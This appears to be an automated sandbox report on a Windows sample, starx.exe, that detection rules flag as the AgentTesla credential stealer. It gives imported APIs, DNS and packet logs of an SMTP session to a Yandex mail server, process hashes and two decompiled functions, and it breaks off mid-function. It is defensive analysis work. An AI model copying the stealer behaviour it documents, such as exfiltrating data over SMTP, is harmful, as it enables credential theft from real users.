GetClientRect, GetClassNameA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawFocusRect, DrawEdge, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit
comctl32.dll	ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_SetDragCursorImage, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Replace, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create, InitCommonControls
comdlg32.dll	GetOpenFileNameA
user32.dll	DdeCmpStringHandles, DdeFreeStringHandle, DdeQueryStringA, DdeCreateStringHandleA, DdeGetLastError, DdeFreeDataHandle, DdeUnaccessData, DdeAccessData, DdeCreateDataHandle, DdeClientTransaction, DdeNameService, DdePostAdvise, DdeSetUserHandle, DdeQueryConvInfo, DdeDisconnect, DdeConnect, DdeUninitialize, DdeInitializeA
kernel32.dll	AddVectoredExceptionHandler

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 17, 2020 08:04:56.836388111 CEST	49761	587	192.168.2.3	77.88.21.158
Sep 17, 2020 08:04:56.889314890 CEST	587	49761	77.88.21.158	192.168.2.3
Sep 17, 2020 08:04:56.889540911 CEST	49761	587	192.168.2.3	77.88.21.158
Sep 17, 2020 08:04:57.039350033 CEST	587	49761	77.88.21.158	192.168.2.3
Sep 17, 2020 08:04:57.040275097 CEST	49761	587	192.168.2.3	77.88.21.158
Sep 17, 2020 08:04:57.092611074 CEST	587	49761	77.88.21.158	192.168.2.3
Sep 17, 2020 08:04:57.092636108 CEST	587	49761	77.88.21.158	192.168.2.3
Sep 17, 2020 08:04:57.094703913 CEST	49761	587	192.168.2.3	77.88.21.158
Sep 17, 2020 08:04:57.147082090 CEST	587	49761	77.88.21.158	192.168.2.3
Sep 17, 2020 08:04:57.188877106 CEST	49761	587	192.168.2.3	77.88.21.158
Sep 17, 2020 08:04:57.286174059 CEST	49761	587	192.168.2.3	77.88.21.158
Sep 17, 2020 08:04:57.340025902 CEST	587	49761	77.88.21.158	192.168.2.3
Sep 17, 2020 08:04:57.340107918 CEST	587	49761	77.88.21.158	192.168.2.3
Sep 17, 2020 08:04:57.340153933 CEST	587	49761	77.88.21.158	192.168.2.3
Sep 17, 2020 08:04:57.340221882 CEST	587	49761	77.88.21.158	192.168.2.3
Sep 17, 2020 08:04:57.340245962 CEST	49761	587	192.168.2.3	77.88.21.158
Sep 17, 2020 08:04:57.340291977 CEST	49761	587	192.168.2.3	77.88.21.158
Sep 17, 2020 08:04:57.363867044 CEST	49761	587	192.168.2.3	77.88.21.158
Sep 17, 2020 08:04:57.418591976 CEST	587	49761	77.88.21.158	192.168.2.3
Sep 17, 2020 08:04:57.460968018 CEST	49761	587	192.168.2.3	77.88.21.158
Sep 17, 2020 08:04:57.626672029 CEST	49761	587	192.168.2.3	77.88.21.158
Sep 17, 2020 08:04:57.679033995 CEST	587	49761	77.88.21.158	192.168.2.3
Sep 17, 2020 08:04:57.680923939 CEST	49761	587	192.168.2.3	77.88.21.158
Sep 17, 2020 08:04:57.733577967 CEST	587	49761	77.88.21.158	192.168.2.3
Sep 17, 2020 08:04:57.735542059 CEST	49761	587	192.168.2.3	77.88.21.158
Sep 17, 2020 08:04:57.793354988 CEST	587	49761	77.88.21.158	192.168.2.3
Sep 17, 2020 08:04:57.794500113 CEST	49761	587	192.168.2.3	77.88.21.158
Sep 17, 2020 08:04:57.853148937 CEST	587	49761	77.88.21.158	192.168.2.3
Sep 17, 2020 08:04:57.853713989 CEST	49761	587	192.168.2.3	77.88.21.158
Sep 17, 2020 08:04:57.910069942 CEST	587	49761	77.88.21.158	192.168.2.3
Sep 17, 2020 08:04:57.910825968 CEST	49761	587	192.168.2.3	77.88.21.158
Sep 17, 2020 08:04:57.963383913 CEST	587	49761	77.88.21.158	192.168.2.3
Sep 17, 2020 08:04:57.965130091 CEST	49761	587	192.168.2.3	77.88.21.158
Sep 17, 2020 08:04:57.965184927 CEST	49761	587	192.168.2.3	77.88.21.158
Sep 17, 2020 08:04:57.965790987 CEST	49761	587	192.168.2.3	77.88.21.158
Sep 17, 2020 08:04:57.965826988 CEST	49761	587	192.168.2.3	77.88.21.158
Sep 17, 2020 08:04:58.019886971 CEST	587	49761	77.88.21.158	192.168.2.3
Sep 17, 2020 08:04:58.020138979 CEST	587	49761	77.88.21.158	192.168.2.3
Sep 17, 2020 08:04:58.673959970 CEST	587	49761	77.88.21.158	192.168.2.3
Sep 17, 2020 08:04:58.726725101 CEST	49761	587	192.168.2.3	77.88.21.158
Sep 17, 2020 08:06:36.548527002 CEST	49761	587	192.168.2.3	77.88.21.158
Sep 17, 2020 08:06:36.601233959 CEST	587	49761	77.88.21.158	192.168.2.3
Sep 17, 2020 08:06:36.601340055 CEST	587	49761	77.88.21.158	192.168.2.3
Sep 17, 2020 08:06:36.601516008 CEST	49761	587	192.168.2.3	77.88.21.158
Sep 17, 2020 08:06:36.731401920 CEST	49761	587	192.168.2.3	77.88.21.158
Sep 17, 2020 08:06:36.783934116 CEST	587	49761	77.88.21.158	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 17, 2020 08:03:16.487988949 CEST	65041	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:03:16.512312889 CEST	53	65041	8.8.8.8	192.168.2.3
Sep 17, 2020 08:03:17.335872889 CEST	57757	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:03:17.359910965 CEST	53	57757	8.8.8.8	192.168.2.3
Sep 17, 2020 08:03:18.156430960 CEST	59610	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:03:18.180674076 CEST	53	59610	8.8.8.8	192.168.2.3
Sep 17, 2020 08:03:19.105606079 CEST	54464	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:03:19.129667044 CEST	53	54464	8.8.8.8	192.168.2.3
Sep 17, 2020 08:03:20.032206059 CEST	50291	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:03:20.056900024 CEST	53	50291	8.8.8.8	192.168.2.3
Sep 17, 2020 08:03:38.756942987 CEST	56058	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:03:38.781028986 CEST	53	56058	8.8.8.8	192.168.2.3
Sep 17, 2020 08:03:42.526542902 CEST	54745	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:03:42.562117100 CEST	53	54745	8.8.8.8	192.168.2.3
Sep 17, 2020 08:04:06.221024036 CEST	53300	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:04:06.245065928 CEST	53	53300	8.8.8.8	192.168.2.3
Sep 17, 2020 08:04:06.303601980 CEST	52249	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:04:06.327533007 CEST	53	52249	8.8.8.8	192.168.2.3
Sep 17, 2020 08:04:08.885653973 CEST	64857	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:04:08.947273970 CEST	53	64857	8.8.8.8	192.168.2.3
Sep 17, 2020 08:04:10.230591059 CEST	64910	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:04:10.254616022 CEST	53	64910	8.8.8.8	192.168.2.3
Sep 17, 2020 08:04:22.976505041 CEST	50958	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:04:23.016987085 CEST	53	50958	8.8.8.8	192.168.2.3
Sep 17, 2020 08:04:23.752757072 CEST	64790	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:04:23.802928925 CEST	53	64790	8.8.8.8	192.168.2.3
Sep 17, 2020 08:04:24.089207888 CEST	60578	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:04:24.138672113 CEST	53	60578	8.8.8.8	192.168.2.3
Sep 17, 2020 08:04:24.955387115 CEST	55649	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:04:24.979510069 CEST	53	55649	8.8.8.8	192.168.2.3
Sep 17, 2020 08:04:25.785594940 CEST	49562	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:04:25.847703934 CEST	53	49562	8.8.8.8	192.168.2.3
Sep 17, 2020 08:04:26.349057913 CEST	62011	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:04:26.381386042 CEST	53	62011	8.8.8.8	192.168.2.3
Sep 17, 2020 08:04:26.815445900 CEST	51439	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:04:26.906095982 CEST	53	51439	8.8.8.8	192.168.2.3
Sep 17, 2020 08:04:27.269824982 CEST	57912	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:04:27.302309036 CEST	53	57912	8.8.8.8	192.168.2.3
Sep 17, 2020 08:04:27.606471062 CEST	59192	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:04:27.683039904 CEST	53	59192	8.8.8.8	192.168.2.3
Sep 17, 2020 08:04:28.056659937 CEST	51691	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:04:28.088949919 CEST	53	51691	8.8.8.8	192.168.2.3
Sep 17, 2020 08:04:28.688072920 CEST	51666	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:04:28.796657085 CEST	53	51666	8.8.8.8	192.168.2.3
Sep 17, 2020 08:04:29.095757961 CEST	61945	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:04:29.128709078 CEST	53	61945	8.8.8.8	192.168.2.3
Sep 17, 2020 08:04:29.623070955 CEST	55918	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:04:29.655349016 CEST	53	55918	8.8.8.8	192.168.2.3
Sep 17, 2020 08:04:30.235505104 CEST	49183	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:04:30.267668009 CEST	53	49183	8.8.8.8	192.168.2.3
Sep 17, 2020 08:04:37.621021032 CEST	56284	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:04:37.661761045 CEST	53	56284	8.8.8.8	192.168.2.3
Sep 17, 2020 08:04:44.098798990 CEST	57903	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:04:44.139292955 CEST	53	57903	8.8.8.8	192.168.2.3
Sep 17, 2020 08:04:56.660531044 CEST	62271	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:04:56.694050074 CEST	53	62271	8.8.8.8	192.168.2.3
Sep 17, 2020 08:04:56.706815004 CEST	64891	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:04:56.738934994 CEST	53	64891	8.8.8.8	192.168.2.3
Sep 17, 2020 08:06:10.019906044 CEST	63870	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:06:10.060947895 CEST	53	63870	8.8.8.8	192.168.2.3
Sep 17, 2020 08:08:07.104216099 CEST	56412	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:08:07.128071070 CEST	53	56412	8.8.8.8	192.168.2.3
Sep 17, 2020 08:08:08.255512953 CEST	53350	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:08:08.304399014 CEST	53	53350	8.8.8.8	192.168.2.3
Sep 17, 2020 08:08:08.316174030 CEST	57369	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:08:08.340516090 CEST	53	57369	8.8.8.8	192.168.2.3
Sep 17, 2020 08:08:12.080082893 CEST	52709	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:08:12.129101038 CEST	53	52709	8.8.8.8	192.168.2.3
Sep 17, 2020 08:08:12.398128033 CEST	53955	53	192.168.2.3	8.8.8.8
Sep 17, 2020 08:08:12.421785116 CEST	53	53955	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 17, 2020 08:04:56.660531044 CEST	192.168.2.3	8.8.8.8	0xa756	Standard query (0)	smtp.yandex.com	A (IP address)	IN (0x0001)
Sep 17, 2020 08:04:56.706815004 CEST	192.168.2.3	8.8.8.8	0x83	Standard query (0)	smtp.yandex.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Sep 17, 2020 08:04:56.694050074 CEST	8.8.8.8	192.168.2.3	0xa756	No error (0)	smtp.yandex.com	smtp.yandex.ru		CNAME (Canonical name)	IN (0x0001)
Sep 17, 2020 08:04:56.694050074 CEST	8.8.8.8	192.168.2.3	0xa756	No error (0)	smtp.yandex.ru		77.88.21.158	A (IP address)	IN (0x0001)
Sep 17, 2020 08:04:56.738934994 CEST	8.8.8.8	192.168.2.3	0x83	No error (0)	smtp.yandex.com	smtp.yandex.ru		CNAME (Canonical name)	IN (0x0001)
Sep 17, 2020 08:04:56.738934994 CEST	8.8.8.8	192.168.2.3	0x83	No error (0)	smtp.yandex.ru		77.88.21.158	A (IP address)	IN (0x0001)

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Sep 17, 2020 08:04:57.039350033 CEST	587	49761	77.88.21.158	192.168.2.3	220 iva1-bc1861525829.qloud-c.yandex.net ESMTP (Want to use Yandex.Mail for your domain? Visit http://pdd.yandex.ru)
Sep 17, 2020 08:04:57.040275097 CEST	49761	587	192.168.2.3	77.88.21.158	EHLO 390120
Sep 17, 2020 08:04:57.092636108 CEST	587	49761	77.88.21.158	192.168.2.3	250-iva1-bc1861525829.qloud-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 42991616 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Sep 17, 2020 08:04:57.094703913 CEST	49761	587	192.168.2.3	77.88.21.158	STARTTLS
Sep 17, 2020 08:04:57.147082090 CEST	587	49761	77.88.21.158	192.168.2.3	220 Go ahead

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: starx.exe PID: 6728 Parent PID: 5928

General

Start time:	08:03:21
Start date:	17/09/2020
Path:	C:\Users\user\Desktop\starx.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\starx.exe'
Imagebase:	0x400000
File size:	731136 bytes
MD5 hash:	2689E0BD727C85849F786822B360CD28
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.365000476.00000000041BB000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.364864002.0000000004172000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: starx.exe PID: 6960 Parent PID: 6728

General

Start time:	08:03:21
Start date:	17/09/2020
Path:	C:\Users\user\Desktop\starx.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\starx.exe'
Imagebase:	0x400000
File size:	731136 bytes
MD5 hash:	2689E0BD727C85849F786822B360CD28
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.1009380756.000000000044B000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.1009882459.0000000000630000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.1010610583.0000000000AF2000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.1009281768.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.1014070589.0000000002A0E000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.1014070589.0000000002A0E000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.1013605272.0000000002981000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.1010558328.0000000000AB2000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: starx.exe PID: 6728 Parent PID: 5928 starx.exeCOMMON

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	15.4%
Total number of Nodes:	918
Total number of Limit Nodes:	38

Executed Functions

Function 00405250, Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 65%

			E00405250(intOrPtr __eax) {
				intOrPtr _v8;
				void* _v12;
				char _v15;
				char _v17;
				char _v18;
				char _v22;
				int _v28;
				char _v289;
				long _t44;
				long _t61;
				long _t63;
				CHAR* _t70;
				CHAR* _t72;
				struct HINSTANCE__* _t78;
				struct HINSTANCE__* _t84;
				char* _t94;
				void* _t95;
				intOrPtr _t99;
				struct HINSTANCE__* _t107;
				void* _t110;
				void* _t112;
				intOrPtr _t113;

				_t110 = _t112;
				_t113 = _t112 + 0xfffffee0;
				_v8 = __eax;
				GetModuleFileNameA(0,  &_v289, 0x105);
				_v22 = 0;
				_t44 = RegOpenKeyExA(0x80000001, "Software\\Borland\\Locales", 0, 0xf0019,  &_v12); // executed
				if(_t44 == 0) {
					L3:
					_push(_t110);
					_push(0x405355);
					_push( *[fs:eax]);
					 *[fs:eax] = _t113;
					_v28 = 5;
					E00405098( &_v289, 0x105);
					if(RegQueryValueExA(_v12,  &_v289, 0, 0,  &_v22,  &_v28) != 0 && RegQueryValueExA(_v12, E004054BC, 0, 0,  &_v22,  &_v28) != 0) {
						_v22 = 0;
					}
					_v18 = 0;
					_pop(_t99);
					 *[fs:eax] = _t99;
					_push(E0040535C);
					return RegCloseKey(_v12);
				} else {
					_t61 = RegOpenKeyExA(0x80000002, "Software\\Borland\\Locales", 0, 0xf0019,  &_v12); // executed
					if(_t61 == 0) {
						goto L3;
					} else {
						_t63 = RegOpenKeyExA(0x80000001, "Software\\Borland\\Delphi\\Locales", 0, 0xf0019,  &_v12); // executed
						if(_t63 != 0) {
							_push(0x105);
							_push(_v8);
							_push( &_v289);
							L004012AC();
							GetLocaleInfoA(GetThreadLocale(), 3,  &_v17, 5); // executed
							_t107 = 0;
							if(_v289 != 0 && (_v17 != 0 || _v22 != 0)) {
								_t70 =  &_v289;
								_push(_t70);
								L004012B4();
								_t94 = _t70 +  &_v289;
								while( *_t94 != 0x2e && _t94 !=  &_v289) {
									_t94 = _t94 - 1;
								}
								_t72 =  &_v289;
								if(_t94 != _t72) {
									_t95 = _t94 + 1;
									if(_v22 != 0) {
										_push(0x105 - _t95 - _t72);
										_push( &_v22);
										_push(_t95);
										L004012AC();
										_t107 = LoadLibraryExA( &_v289, 0, 2);
									}
									if(_t107 == 0 && _v17 != 0) {
										_push(0x105 - _t95 -  &_v289);
										_push( &_v17);
										_push(_t95);
										L004012AC();
										_t78 = LoadLibraryExA( &_v289, 0, 2); // executed
										_t107 = _t78;
										if(_t107 == 0) {
											_v15 = 0;
											_push(0x105 - _t95 -  &_v289);
											_push( &_v17);
											_push(_t95);
											L004012AC();
											_t84 = LoadLibraryExA( &_v289, 0, 2); // executed
											_t107 = _t84;
										}
									}
								}
							}
							return _t107;
						} else {
							goto L3;
						}
					}
				}
			}

0x00405251
0x00405253
0x0040525b
0x0040526c
0x00405271
0x0040528a
0x00405291
0x004052d3
0x004052d5
0x004052d6
0x004052db
0x004052de
0x004052e1
0x004052f3
0x00405316
0x00405336
0x00405336
0x0040533a
0x00405340
0x00405343
0x00405346
0x00405354
0x00405293
0x004052a8
0x004052af
0x00000000
0x004052b1
0x004052c6
0x004052cd
0x0040535c
0x00405364
0x0040536b
0x0040536c
0x0040537f
0x00405384
0x0040538d
0x004053a3
0x004053a9
0x004053aa
0x004053b7
0x004053bc
0x004053bb
0x004053bb
0x004053cb
0x004053d3
0x004053d9
0x004053de
0x004053eb
0x004053ef
0x004053f0
0x004053f1
0x00405406
0x00405406
0x0040540a
0x00405423
0x00405427
0x00405428
0x00405429
0x00405439
0x0040543e
0x00405442
0x00405444
0x00405459
0x0040545d
0x0040545e
0x0040545f
0x0040546f
0x00405474
0x00405474
0x00405442
0x0040540a
0x004053d3
0x0040547d
0x00000000
0x00000000
0x00000000
0x004052cd
0x004052af

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,00000001,004670A4,?,00405040,00400000,?,00000105,00000001,004108EC,0040507C,00405B54,0000FF9D,?), ref: 0040526C
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,00000001,004670A4,?,00405040,00400000,?,00000105,00000001), ref: 0040528A
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,00000001,004670A4), ref: 004052A8
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 004052C6
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000005,00000000,00405355,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 0040530F
RegQueryValueExA.ADVAPI32(?,004054BC,00000000,00000000,00000000,00000005,?,?,00000000,00000000,00000000,00000005,00000000,00405355,?,80000001), ref: 0040532D
RegCloseKey.ADVAPI32(?,0040535C,00000000,00000000,00000005,00000000,00405355,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 0040534F
lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 0040536C
GetThreadLocale.KERNEL32(00000003,00000001,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 00405379
GetLocaleInfoA.KERNEL32(00000000,00000003,00000001,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 0040537F
lstrlen.KERNEL32(00000000,00000000,00000003,00000001,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 004053AA
lstrcpyn.KERNEL32(00000001,00000000,00000105,00000000,00000000,00000003,00000001,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 004053F1
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000001,00000000,00000105,00000000,00000000,00000003,00000001,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 00405401
lstrcpyn.KERNEL32(00000001,00000000,00000105,00000000,00000000,00000003,00000001,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 00405429
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000001,00000000,00000105,00000000,00000000,00000003,00000001,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 00405439
lstrcpyn.KERNEL32(00000001,00000000,00000105,00000000,00000000,00000002,00000001,00000000,00000105,00000000,00000000,00000003,00000001,00000005,?,?), ref: 0040545F
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000001,00000000,00000105,00000000,00000000,00000002,00000001,00000000,00000105,00000000,00000000,00000003,00000001), ref: 0040546F

Strings

Software\Borland\Delphi\Locales, xrefs: 004052BC
Software\Borland\Locales, xrefs: 00405280, 0040529E

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: 35c8449ae7e009de5d2d5266ea1c99d440edb25e00783dd91c19cb4f8cbd09c6
Instruction ID: 33d5b7d090505838b99fef48b47b199de58a16813040a6d8805106278f5ca794
Opcode Fuzzy Hash: 35c8449ae7e009de5d2d5266ea1c99d440edb25e00783dd91c19cb4f8cbd09c6
Instruction Fuzzy Hash: 24515275A0064C7AEB21D6A4CC46FEF77ACDB04744F4041BABA44F61C2D6BC9E448FA8

Uniqueness

Uniqueness Score: -1.00%

Function 0045BB20, Relevance: 26.7, APIs: 13, Strings: 2, Instructions: 401
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E0045BB20(struct HWND__* __eax, void* __ecx, struct HWND__* __edx) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				void* __ebx;
				void* __esi;
				void* __ebp;
				signed int _t161;
				struct HWND__* _t162;
				struct HWND__* _t163;
				void* _t166;
				struct HWND__* _t176;
				struct HWND__* _t185;
				struct HWND__* _t188;
				struct HWND__* _t189;
				struct HWND__* _t191;
				struct HWND__* _t197;
				struct HWND__* _t199;
				struct HWND__* _t202;
				struct HWND__* _t205;
				struct HWND__* _t206;
				struct HWND__* _t216;
				struct HWND__* _t217;
				struct HWND__* _t222;
				struct HWND__* _t224;
				struct HWND__* _t227;
				struct HWND__* _t231;
				struct HWND__* _t239;
				struct HWND__* _t247;
				struct HWND__* _t250;
				struct HWND__* _t254;
				struct HWND__* _t256;
				struct HWND__* _t257;
				struct HWND__* _t269;
				intOrPtr _t272;
				struct HWND__* _t275;
				intOrPtr* _t276;
				struct HWND__* _t284;
				struct HWND__* _t286;
				struct HWND__* _t297;
				void* _t306;
				signed int _t308;
				struct HWND__* _t314;
				struct HWND__* _t315;
				struct HWND__* _t316;
				void* _t317;
				intOrPtr _t340;
				struct HWND__* _t344;
				intOrPtr _t366;
				void* _t370;
				struct HWND__* _t375;
				void* _t376;
				void* _t377;
				intOrPtr _t378;

				_t317 = __ecx;
				_push(_t370);
				_v12 = __edx;
				_v8 = __eax;
				_push(_t377);
				_push(0x45c1da);
				_push( *[fs:edx]);
				 *[fs:edx] = _t378;
				 *(_v12 + 0xc) = 0;
				_t306 =  *((intOrPtr*)( *((intOrPtr*)(_v8 + 0xa8)) + 8)) - 1;
				if(_t306 < 0) {
					L5:
					E0045B9D4(_v8, _t317, _v12);
					_t308 =  *_v12;
					_t161 = _t308;
					__eflags = _t161 - 0x53;
					if(__eflags > 0) {
						__eflags = _t161 - 0xb017;
						if(__eflags > 0) {
							__eflags = _t161 - 0xb020;
							if(__eflags > 0) {
								_t162 = _t161 - 0xb031;
								__eflags = _t162;
								if(_t162 == 0) {
									_t163 = _v12;
									__eflags =  *((intOrPtr*)(_t163 + 4)) - 1;
									if( *((intOrPtr*)(_t163 + 4)) != 1) {
										 *(_v8 + 0xb0) =  *(_v12 + 8);
									} else {
										 *(_v12 + 0xc) =  *(_v8 + 0xb0);
									}
									L102:
									_t166 = 0;
									_pop(_t340);
									 *[fs:eax] = _t340;
									goto L103;
								}
								__eflags = _t162 + 0xfffffff2 - 2;
								if(_t162 + 0xfffffff2 - 2 < 0) {
									 *(_v12 + 0xc) = E0045DB6C(_v8,  *(_v12 + 8), _t308) & 0x0000007f;
								} else {
									L101:
									E0045BA98(_t377); // executed
								}
								goto L102;
							}
							if(__eflags == 0) {
								_t176 = _v12;
								__eflags =  *(_t176 + 4);
								if( *(_t176 + 4) != 0) {
									E0045C75C(_v8, _t317,  *( *(_v12 + 8)),  *((intOrPtr*)( *(_v12 + 8) + 4)));
								} else {
									E0045C700(_v8,  *( *(_v12 + 8)),  *((intOrPtr*)( *(_v12 + 8) + 4)));
								}
								goto L102;
							}
							_t185 = _t161 - 0xb01a;
							__eflags = _t185;
							if(_t185 == 0) {
								_t188 = IsIconic( *(_v8 + 0x30));
								__eflags = _t188;
								if(_t188 == 0) {
									_t189 = GetFocus();
